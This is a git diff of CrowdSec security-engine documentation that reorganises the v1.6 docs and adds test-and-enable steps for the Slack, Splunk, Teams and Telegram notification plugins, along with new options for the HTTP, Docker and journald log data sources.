+name: default_ip_remediation
+#debug: true
+filters:
+ - Alert.Remediation == true && Alert.GetScope() == "Ip"
+decisions:
+ - type: ban
+ duration: 4h
+#duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4)
+#highlight-next-line
+notifications:
+#highlight-next-line
+ - sentinel_default
+on_success: break
+```
+
+
+
+## Final Steps
Let's restart crowdsec
```bash
sudo systemctl restart crowdsec
```
-
-You can verify whether the plugin is properly working by triggering scenarios using tools like wapiti, nikto etc.
\ No newline at end of file
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/slack.md b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/slack.md
similarity index 56%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/slack.md
rename to crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/slack.md
index 3ef938835..ec6f66ef5 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/slack.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/slack.md
@@ -5,22 +5,17 @@ title: Slack Plugin
The slack plugin is by default shipped with your CrowdSec installation. The following guide shows how to enable it.
-## Enabling the plugin:
-
-In your profile file (by default `/etc/crowdsec/profiles.yaml`) , uncomment the section
-```
-#notifications:
-# - slack_default
-```
-
## Configuring the plugin:
-### Adding the plugin configuration
+By default the configuration for Slack plugin is located at these default location per OS:
+
+- **Linux** `/etc/crowdsec/notifications/slack.yaml`
+- **FreeBSD** `/usr/local/etc/crowdsec/notifications/slack.yaml`
+- **Windows** `C:\ProgramData\CrowdSec\config\notifications\slack.yaml`
-By default there would be a slack config at `/etc/crowdsec/notifications/slack.yaml`. Specify your
-`webhook`.
+### Base configuration
-Example config:
+Here is the base configuration for the Slack plugin:
```yaml
# Don't change this
@@ -52,6 +47,56 @@ See [slack guide](https://slack.com/intl/en-in/help/articles/115005265063-Incomi
**Note** that the `format` is a [go template](https://pkg.go.dev/text/template), which is fed a list of [Alert](https://pkg.go.dev/github.com/crowdsecurity/crowdsec@master/pkg/models#Alert) objects.
+## Testing the plugin
+
+Before enabling the plugin it is best to test the configuration so the configuration is validated and you can see the output of the plugin.
+
+```bash
+cscli notifications test slack_default
+```
+
+:::note
+If you have changed the `name` property in the configuration file, you should replace `slack_default` with the new name.
+:::
+
+## Enabling the plugin
+
+In your profiles you will need to uncomment the `notifications` key and the `slack_default` plugin list item.
+
+```
+#notifications:
+# - slack_default
+```
+
+:::note
+If you have changed the `name` property in the configuration file, you should replace `slack_default` with the new name.
+:::
+
+:::warning
+Ensure your YAML is properly formatted the `notifications` key should be at the top level of the profile.
+:::
+
+
+
+Example profile with email plugin enabled
+
+```yaml
+name: default_ip_remediation
+#debug: true
+filters:
+ - Alert.Remediation == true && Alert.GetScope() == "Ip"
+decisions:
+ - type: ban
+ duration: 4h
+#duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4)
+#highlight-next-line
+notifications:
+#highlight-next-line
+ - slack_default
+on_success: break
+```
+
+
## Final Steps:
@@ -60,5 +105,3 @@ Let's restart crowdsec
```bash
sudo systemctl restart crowdsec
```
-
-You can verify whether the plugin is properly working by triggering scenarios using tools like wapiti, nikto etc.
\ No newline at end of file
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/splunk.md b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/splunk.md
similarity index 50%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/splunk.md
rename to crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/splunk.md
index d845d47e1..2360c34c7 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/splunk.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/splunk.md
@@ -5,22 +5,17 @@ title: Splunk Plugin
The splunk plugin is by default shipped with your CrowdSec installation. The following guide shows how to enable it.
-## Enabling the plugin:
+## Configuring the plugin:
-In your profile file (by default `/etc/crowdsec/profiles.yaml`) , uncomment the section
-```
-#notifications:
-# - splunk_default
-```
+By default the configuration for Splunk plugin is located at these default location per OS:
-## Configuring the plugin:
+- **Linux** `/etc/crowdsec/notifications/splunk.yaml`
+- **FreeBSD** `/usr/local/etc/crowdsec/notifications/splunk.yaml`
+- **Windows** `C:\ProgramData\CrowdSec\config\notifications\splunk.yaml`
-### Adding the plugin configuration
+### Base configuration
-By default there would be a splunk config at `/etc/crowdsec/notifications/splunk.yaml`. Specify your
-`url`, `token` and `format` .
-
-Example configuration which posts creates splunk event containing alerts serialized to JSON:
+Here is the base configuration for the Splunk plugin:
```yaml
# Don't change this
@@ -51,6 +46,57 @@ See [splunk guide](https://docs.splunk.com/Documentation/Splunk/8.2.1/Data/Useth
**Note** that the `format` is a [go template](https://pkg.go.dev/text/template), which is fed a list of [Alert](https://pkg.go.dev/github.com/crowdsecurity/crowdsec@master/pkg/models#Alert) objects.
+## Testing the plugin
+
+Before enabling the plugin it is best to test the configuration so the configuration is validated and you can see the output of the plugin.
+
+```bash
+cscli notifications test splunk_default
+```
+
+:::note
+If you have changed the `name` property in the configuration file, you should replace `splunk_default` with the new name.
+:::
+
+## Enabling the plugin
+
+In your profiles you will need to uncomment the `notifications` key and the `splunk_default` plugin list item.
+
+```
+#notifications:
+# - splunk_default
+```
+
+:::note
+If you have changed the `name` property in the configuration file, you should replace `splunk_default` with the new name.
+:::
+
+:::warning
+Ensure your YAML is properly formatted the `notifications` key should be at the top level of the profile.
+:::
+
+
+
+Example profile with Splunk plugin enabled
+
+```yaml
+name: default_ip_remediation
+#debug: true
+filters:
+ - Alert.Remediation == true && Alert.GetScope() == "Ip"
+decisions:
+ - type: ban
+ duration: 4h
+#duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4)
+#highlight-next-line
+notifications:
+#highlight-next-line
+ - splunk_default
+on_success: break
+```
+
+
+
## Final Steps:
Let's restart crowdsec
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/teams.md b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/teams.md
similarity index 85%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/teams.md
rename to crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/teams.md
index 286ba7ebe..6eaeacf4b 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/teams.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/teams.md
@@ -3,19 +3,17 @@ id: teams
title: Microsoft Teams
---
-This guide will show you how to enable Microsoft Teams notifications via the HTTP plugin.
+The following guide shows how to configure, test and enable HTTP plugin to forward Alerts to Microsoft Teams.
-## Enabling the plugin:
+## Configuring the plugin
-In your profile file (by default `/etc/crowdsec/profiles.yaml`) , uncomment the section
-```
-#notifications:
-# - http_default
-```
+By default the configuration for HTTP plugin is located at these default location per OS:
-## Configuring the plugin:
+- **Linux** `/etc/crowdsec/notifications/http.yaml`
+- **FreeBSD** `/usr/local/etc/crowdsec/notifications/http.yaml`
+- **Windows** `C:\ProgramData\CrowdSec\config\notifications\http.yaml`
-By default there would be a http config at `/etc/crowdsec/notifications/http.yaml`. Simply replace the whole content in this file with this example below.
+Simply replace the whole content in this file with this example below.
### Base configuration
@@ -291,6 +289,57 @@ headers:
* See [microsoft docs](https://docs.microsoft.com/en-us/microsoftteams/platform/webhooks-and-connectors/how-to/add-incoming-webhook) for instructions to obtain a webhook.
* The `format` is a [go template](https://pkg.go.dev/text/template), which is fed a list of [Alert](https://pkg.go.dev/github.com/crowdsecurity/crowdsec@master/pkg/models#Alert) objects.
+## Testing the plugin
+
+Before enabling the plugin it is best to test the configuration so the configuration is validated and you can see the output of the plugin.
+
+```bash
+cscli notifications test http_default
+```
+
+:::note
+If you have changed the `name` property in the configuration file, you should replace `http_default` with the new name.
+:::
+
+## Enabling the plugin
+
+In your profiles you will need to uncomment the `notifications` key and the `http_default` plugin list item.
+
+```
+#notifications:
+# - http_default
+```
+
+:::note
+If you have changed the `name` property in the configuration file, you should replace `http_default` with the new name.
+:::
+
+:::warning
+Ensure your YAML is properly formatted the `notifications` key should be at the top level of the profile.
+:::
+
+
+
+Example profile with http plugin enabled
+
+```yaml
+name: default_ip_remediation
+#debug: true
+filters:
+ - Alert.Remediation == true && Alert.GetScope() == "Ip"
+decisions:
+ - type: ban
+ duration: 4h
+#duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4)
+#highlight-next-line
+notifications:
+#highlight-next-line
+ - http_default
+on_success: break
+```
+
+
+
## Final Steps:
Let's restart crowdsec
@@ -298,5 +347,3 @@ Let's restart crowdsec
```bash
sudo systemctl restart crowdsec
```
-
-You can verify whether the plugin is properly working by triggering scenarios using tools like wapiti, nikto etc.
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/telegram.md b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/telegram.md
similarity index 58%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/telegram.md
rename to crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/telegram.md
index 9a8800cfd..8548e3bbc 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/telegram.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/telegram.md
@@ -3,14 +3,24 @@ id: telegram
title: Telegram
---
-Telegram can be integrated with CrowdSec by using the HTTP plugin. Enable it by following these [instructions](/notification_plugins/http.md) .
+CrowdSec can forward Alerts to telegram via the HTTP plugin. This guide will show you how to configure the HTTP plugin to send alerts to your Telegram chat.
+
+## Configuring the plugin
+
+By default the configuration for HTTP plugin is located at these default location per OS:
+
+- **Linux** `/etc/crowdsec/notifications/http.yaml`
+- **FreeBSD** `/usr/local/etc/crowdsec/notifications/http.yaml`
+- **Windows** `C:\ProgramData\CrowdSec\config\notifications\http.yaml`
+
+### Base configuration
+
+You can replace the file contents with the following configuration:
Replace `chat_id` within the format section so that it send the events to your Telegram chat. If you need to get your chat ID, follow the instructions [here](https://stackoverflow.com/questions/32423837/telegram-bot-how-to-get-a-group-chat-id).
Replace `XXX:YYY` within the URL section with your Telegram BOT API key. If you need to generate a BOT API key, follow the instructions [here](https://core.telegram.org/bots#how-do-i-create-a-bot).
-An example configuration:
-
```yaml
type: http # Don't change
name: http_default # Must match the registered plugin in the profile
@@ -67,6 +77,57 @@ headers:
Content-Type: "application/json"
```
+## Testing the plugin
+
+Before enabling the plugin it is best to test the configuration so the configuration is validated and you can see the output of the plugin.
+
+```bash
+cscli notifications test http_default
+```
+
+:::note
+If you have changed the `name` property in the configuration file, you should replace `http_default` with the new name.
+:::
+
+## Enabling the plugin
+
+In your profiles you will need to uncomment the `notifications` key and the `http_default` plugin list item.
+
+```
+#notifications:
+# - http_default
+```
+
+:::note
+If you have changed the `name` property in the configuration file, you should replace `http_default` with the new name.
+:::
+
+:::warning
+Ensure your YAML is properly formatted the `notifications` key should be at the top level of the profile.
+:::
+
+
+
+Example profile with http plugin enabled
+
+```yaml
+name: default_ip_remediation
+#debug: true
+filters:
+ - Alert.Remediation == true && Alert.GetScope() == "Ip"
+decisions:
+ - type: ban
+ duration: 4h
+#duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4)
+#highlight-next-line
+notifications:
+#highlight-next-line
+ - http_default
+on_success: break
+```
+
+
+
## Final Steps:
Let's restart crowdsec
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/writing_your_own_plugin.md b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/writing_your_own_plugin.md
similarity index 98%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/writing_your_own_plugin.md
rename to crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/writing_your_own_plugin.md
index d6bf4cef1..286cbbb48 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/writing_your_own_plugin.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/writing_your_own_plugin.md
@@ -7,7 +7,7 @@ In this guide we will implement a plugin in Go, which dispatches an email with s
Full code for this plugin can be found in [crowdsec repo](https://github.com/crowdsecurity/crowdsec/tree/master/plugins/notifications/email)
-Before we begin, make sure you read [intro](/notification_plugins/intro.md)
+Before we begin, make sure you read [intro](/local_api/notification_plugins/intro.md)
Let's start by creating a new go project in a fresh directory:
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/profiles/captcha_profile.md b/crowdsec-docs/versioned_docs/version-v1.6/local_api/profiles/captcha_profile.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/profiles/captcha_profile.md
rename to crowdsec-docs/versioned_docs/version-v1.6/local_api/profiles/captcha_profile.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/profiles/cti_profile.md b/crowdsec-docs/versioned_docs/version-v1.6/local_api/profiles/cti_profile.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/profiles/cti_profile.md
rename to crowdsec-docs/versioned_docs/version-v1.6/local_api/profiles/cti_profile.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/profiles/format.md b/crowdsec-docs/versioned_docs/version-v1.6/local_api/profiles/format.md
similarity index 97%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/profiles/format.md
rename to crowdsec-docs/versioned_docs/version-v1.6/local_api/profiles/format.md
index 8158c9f49..f1e18cd28 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/profiles/format.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/local_api/profiles/format.md
@@ -158,4 +158,4 @@ notifications:
- notification_plugin2
```
-The [list of notification plugins](/notification_plugins/intro.md) to which the alert should be fed.
+The [list of notification plugins](/local_api/notification_plugins/intro.md) to which the alert should be fed.
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/profiles/intro.md b/crowdsec-docs/versioned_docs/version-v1.6/local_api/profiles/intro.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/profiles/intro.md
rename to crowdsec-docs/versioned_docs/version-v1.6/local_api/profiles/intro.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/profiles/pid_profile.md b/crowdsec-docs/versioned_docs/version-v1.6/local_api/profiles/pid_profile.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/profiles/pid_profile.md
rename to crowdsec-docs/versioned_docs/version-v1.6/local_api/profiles/pid_profile.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/local_api/tls_auth.md b/crowdsec-docs/versioned_docs/version-v1.6/local_api/tls_auth.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/local_api/tls_auth.md
rename to crowdsec-docs/versioned_docs/version-v1.6/local_api/tls_auth.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/log_processor/alert_context/intro.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/alert_context/intro.md
new file mode 100644
index 000000000..9404d8bf1
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/alert_context/intro.md
@@ -0,0 +1,47 @@
+---
+id: intro
+title: Alert Context
+---
+
+## Introduction
+
+As the [Log Processor](log_processor/intro.mdx) processes logs, it will detect patterns of interest known as [Scenarios](/log_processor/scenarios/introduction.mdx). When a scenario is detected, an alert is generated and sent to the [Local API](local_api/intro.md) (LAPI) for evaluation.
+
+When the alert is generated you can define additional Alert Context that can be sent along with the alert to give you context about the alert. This can be useful when you host multiple applications on the same server and you want to know which application generated the alert.
+
+### Format
+
+The format of Alert Context are key value pairs that are sent along with the alert. When you install some [Collections](/log_processor/collections/introduction.md) you will see that they come with Alert Context pre-configured.
+
+For example if you install the `crowdsecurity/nginx` collection you will see that the `http_base` context is added:
+
+```yaml
+#this context file is intended to provide minimal and useful information about HTTP scenarios.
+context:
+ target_uri:
+ - evt.Meta.http_path
+ user_agent:
+ - evt.Meta.http_user_agent
+ method:
+ - evt.Meta.http_verb
+ status:
+ - evt.Meta.http_status
+```
+
+Contexts are stored within the `contexts` directory within the root of the `config` directory, you can see the directory based on your OS [here](/u/troubleshooting/security_engine#where-is-configuration-stored).
+
+:::info
+As an example the default directory for linux is `/etc/crowdsec/` so the `contexts` directory would be `/etc/crowdsec/contexts/`
+:::
+
+Here a quick breakdown of the context file:
+
+- `context` : This is the root key of the context file.
+- `target_uri` : This is the key that will be used as the "name" of the context.
+- `evt.Meta.http_path` : This is the expression that will be evaluated to get the value of the context. In this case it will be the `http_path` field from the event.
+
+The next key value pair would be `user_agent` and so on.
+
+## Next Steps?
+
+We have written a full guide on Alert Context that you can find [here](/u/user_guides/alert_context). This guide will show you how to create your own Alert Context and how to use it within your scenarios.
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/collections/format.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/collections/format.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/collections/format.md
rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/collections/format.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/collections/introduction.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/collections/introduction.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/collections/introduction.md
rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/collections/introduction.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/appsec.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/appsec.md
similarity index 78%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/appsec.md
rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/appsec.md
index 5e69c7369..676bc72d6 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/appsec.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/appsec.md
@@ -6,9 +6,9 @@ title: Application Security Component
This module allows you to enable the `Application Security Component` as a data source.
-A more detailed documentation is available [here](/docs/appsec/intro).
+A more detailed documentation is available [here](/docs/next/appsec/intro).
-A quickstart tutorial is available [here](/appsec/quickstart.md).
+A quickstart tutorial is available for [Nginx/OpenResty](/docs/next/appsec/quickstart/nginxopenresty) and [Traefik](/docs/next/appsec/quickstart/traefik).
## Configuration example
@@ -35,13 +35,17 @@ Defaults to `127.0.0.1:7442`.
The path the Application Security Component will respond to.
Defaults to `/`.
-### `appsec_config`
+### `appsec_configs`
The name of the appsec-config to use (as seen in `cscli appsec-configs list`).
+### `appsec_config`
+
+**Deprecated**, use [`appsec_configs`](#appsec_configs)
+
### `appsec_config_path`
-The path to the appsec-config to use (as seen in `cscli appsec-configs list`).
+**Deprecated**, use [`appsec_configs`](#appsec_configs)
### `routines`
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/cloudwatch.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/cloudwatch.md
similarity index 96%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/cloudwatch.md
rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/cloudwatch.md
index 7506759dd..a59915851 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/cloudwatch.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/cloudwatch.md
@@ -7,7 +7,7 @@ This module allows the `Security Engine` to acquire logs from AWS's cloudwatch s
:::info
-Instead of using this datasource, we recommend setting up a log subscription filter in your AWS account to push the logs to a kinesis stream, and use the [kinesis datasource](/data_sources/kinesis.md) to read them.
+Instead of using this datasource, we recommend setting up a log subscription filter in your AWS account to push the logs to a kinesis stream, and use the [kinesis datasource](/log_processor/data_sources/kinesis.md) to read them.
:::
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/docker.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/docker.md
similarity index 79%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/docker.md
rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/docker.md
index f5f09071b..95c5f987d 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/docker.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/docker.md
@@ -84,6 +84,32 @@ Follow `stderr` container logs.
Default: `true`
+### `use_container_labels`
+
+Forces the use of container labels to get the log type. Meaning you can define a single docker datasource and let the labels of the container define the log type.
+
+```yaml
+source: docker
+use_container_labels: true
+```
+
+Currently here is the list of reserved labels for the container:
+
+`crowdsec.enable` : Enable crowdsec acquisition for this container the value must be set to `crowdsec.enable=true` for the container to be adopted.
+
+`crowdsec.labels` : Top level key that will parse into the labels struct for the acquisition, for example `crowdsec.labels.type=nginx` will be parsed to the following:
+
+```yaml
+labels:
+ type: nginx
+```
+
+Here is an example of running a nginx container with the labels:
+
+```bash
+docker run -d --label crowdsec.enable=true --label crowdsec.labels.type=nginx nginx:alpine
+```
+
## DSN and command-line
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/file.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/file.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/file.md
rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/file.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/http.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/http.md
similarity index 53%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/http.md
rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/http.md
index 9ca806a89..c3a589483 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/http.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/http.md
@@ -10,7 +10,7 @@ This module allows the `Security Engine` to acquire logs from an HTTP endpoint.
To receive logs from an HTTP endpoint with basic auth:
```yaml
source: http
-listen_addr: 127.0.0.1:8080
+listen_addr: 127.0.0.1:8081
path: /test
auth_type: basic_auth
basic_auth:
@@ -23,7 +23,7 @@ labels:
To receive logs from an HTTP endpoint with headers:
```yaml
source: http
-listen_addr: 127.0.0.1:8080
+listen_addr: 127.0.0.1:8081
path: /test
auth_type: headers
headers:
@@ -36,7 +36,7 @@ To receive logs from an HTTP endpoint with TLS and headers:
```yaml
source: http
-listen_addr: 127.0.0.1:8080
+listen_addr: 127.0.0.1:8081
path: /test
auth_type: headers
headers:
@@ -52,7 +52,7 @@ To receive logs from an HTTP endpoint with mTLS:
```yaml
source: http
-listen_addr: 127.0.0.1:8080
+listen_addr: 127.0.0.1:8081
path: /test
auth_type: mtls
tls:
@@ -63,28 +63,61 @@ labels:
type: mytype
```
-:::info
-If most of cases when the logs are sent in JSON format, you can use the [`transform`](https://docs.crowdsec.net/docs/next/data_sources/intro/#transform) expression to parse the logs.
+Look at the `Parameters` section to view all supported options.
+
+## Body format
+
+The datasource expects to receive one or multiple JSON objects.
+
+The datasource will also automatically decompress any request body in `gzip` format, as long as the `Content-Encoding` header is set to `gzip`.
+
+The JSON object can be any format, crowdsec will pass it as-is to the parsers.
+
+If you are sending multiple JSON object in the same request, they must be separated by a newline (NDJSON format):
+```json
+{"log": "log line 1", "timestamp": "2021-01-01T00:00:00Z"}
+{"log": "log line 2", "timestamp": "2021-01-01T00:00:01Z"}
+```
+
+The objects will be processed by the parsers one-by-one.
+
+If you send multiple log lines in a single JSON object, you can use a [transform](/docs/log_processor/data_sources/introduction.md#transform) expression to generate multiple events:
-For example, if the logs are sent in the following format:
```json
{
"Records": [
{
"message": "test",
"timestamp": "2021-01-01T00:00:00Z"
+ },
+ {
+ "message": "test2",
+ "timestamp": "2021-01-01T00:00:01Z"
}
]
}
```
-the `transform` expression can be:
+Using the following `transform` expression will make the datasource generate one event per entry in the array:
```yaml
-transform: map(JsonExtractSlice(evt.Line.Raw, "Records"), ToJsonString(#))
+transform: |
+ map(JsonExtractSlice(evt.Line.Raw, "Records"), ToJsonString(#))
```
-Look at the `configuration parameters` to view all supported options.
+## Status code and supported methods
+
+The HTTP datasource expects to receive logs in a `POST` request, and will return a `200 OK`.
+
+If an invalid body is received (invalid JSON), a `400 Bad Request` code will be returned.
+
+The datasource will return a `200 OK` to `GET` and `HEAD` requests if the credentials provided in the request are valid.
+
+A `405 Method Not Allowed` code will be returned for any other methods.
+
+If the credentials provided are invalid, a `401 Unauthorized` code will be returned.
+
+If the body size is bigger than the configured limit, a `413 Request Entity Too Large` code will be returned.
## Parameters
@@ -93,16 +126,18 @@ Look at the `configuration parameters` to view all supported options.
The address to listen on (e.g., `127.0.0.1:8088`).
-Required.
+At least one of `listen_addr` or `listen_socket` is required.
+
+### `listen_socket`
+
+Unix socket to listen on (e.g., `/var/run/crowdsec_http.sock`).
+
+At least one of `listen_addr` or `listen_socket` is required.
### `path`
The endpoint path to listen on.
-:::info
-The request method is always `POST`.
-:::
-
Optional, default is `/`.
### `auth_type`
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/introduction.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/introduction.md
similarity index 52%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/introduction.md
rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/introduction.md
index 2541a21a8..8cb0281d8 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/introduction.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/introduction.md
@@ -1,6 +1,6 @@
---
id: intro
-title: Introduction
+title: Acquisition Datasources Introduction
sidebar_position: 1
---
@@ -12,19 +12,20 @@ DataSources are configured via the [acquisition](/configuration/crowdsec_configu
Name | Type | Stream | One-shot
-----|------|--------|----------
-[Appsec](/data_sources/appsec.md) | expose HTTP service for the Appsec component | yes | no
-[AWS cloudwatch](/data_sources/cloudwatch.md) | single stream or log group | yes | yes
-[AWS kinesis](/data_sources/kinesis.md)| read logs from a kinesis strean | yes | no
-[AWS S3](/data_sources/s3.md)| read logs from a S3 bucket | yes | yes
-[docker](/data_sources/docker.md) | read logs from docker containers | yes | yes
-[file](/data_sources/file.md) | single files, glob expressions and .gz files | yes | yes
-[HTTP](/data_sources/http.md) | read logs from an HTTP endpoint | yes | no
-[journald](/data_sources/journald.md) | journald via filter | yes | yes
-[Kafka](/data_sources/kafka.md)| read logs from kafka topic | yes | no
-[Kubernetes Audit](/data_sources/kubernetes_audit.md) | expose a webhook to receive audit logs from a Kubernetes cluster | yes | no
-[Loki](/data_sources/loki.md) | read logs from loki | yes | yes
-[syslog service](/data_sources/syslog_service.md) | read logs received via syslog protocol | yes | no
-[Windows Event](/data_sources/windows_event_log.md)| read logs from windows event log | yes | no
+[Appsec](/log_processor/data_sources/appsec.md) | expose HTTP service for the Appsec component | yes | no
+[AWS cloudwatch](/log_processor/data_sources/cloudwatch.md) | single stream or log group | yes | yes
+[AWS kinesis](/log_processor/data_sources/kinesis.md)| read logs from a kinesis strean | yes | no
+[AWS S3](/log_processor/data_sources/s3.md)| read logs from a S3 bucket | yes | yes
+[docker](/log_processor/data_sources/docker.md) | read logs from docker containers | yes | yes
+[file](/log_processor/data_sources/file.md) | single files, glob expressions and .gz files | yes | yes
+[HTTP](/log_processor/data_sources/http.md) | read logs from an HTTP endpoint | yes | no
+[journald](/log_processor/data_sources/journald.md) | journald via filter | yes | yes
+[Kafka](/log_processor/data_sources/kafka.md)| read logs from kafka topic | yes | no
+[Kubernetes Audit](/log_processor/data_sources/kubernetes_audit.md) | expose a webhook to receive audit logs from a Kubernetes cluster | yes | no
+[Loki](/log_processor/data_sources/loki.md) | read logs from loki | yes | yes
+[VictoriaLogs](/log_processor/data_sources/victorialogs.md) | read logs from VictoriaLogs | yes | yes
+[syslog service](/log_processor/data_sources/syslog_service.md) | read logs received via syslog protocol | yes | no
+[Windows Event](/log_processor/data_sources/windows_event_log.md)| read logs from windows event log | yes | yes
## Common configuration parameters
@@ -55,6 +56,15 @@ The expression must return:
If the expression returns an error or an invalid type, the event will not be modified before sending it to the parsers.
+### `use_time_machine`
+
+By default, when reading logs in real-time, crowdsec will use the time at which the log was read as the log timestamp instead of extracting it from the log itself.
+
+Setting this option to `true` will force crowdsec to use the timestamp from the log as the time of the event.
+
+It is mandatory to set this if your application buffers logs before writting them (for example, IIS when writing to a log file, or logs written to S3 from almost any AWS service).
+If not set, then crowdsec will think all logs happened at once, which can lead to some false positive detections.
+
### `labels`
A map of labels to add to the event.
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/journald.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/journald.md
similarity index 87%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/journald.md
rename to crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/journald.md
index d97b1b3ac..b6bd1de9f 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/data_sources/journald.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/data_sources/journald.md
@@ -53,6 +53,10 @@ labels:
A list of journalctl filters. This is mandatory.
+:::info
+this list is transformed into arguments passed to the journalctl binary, so any [arguments supported by journalctl](https://www.man7.org/linux/man-pages/man1/journalctl.1.html) can be defined here
+:::
+
### `source`
Must be `journalctl`
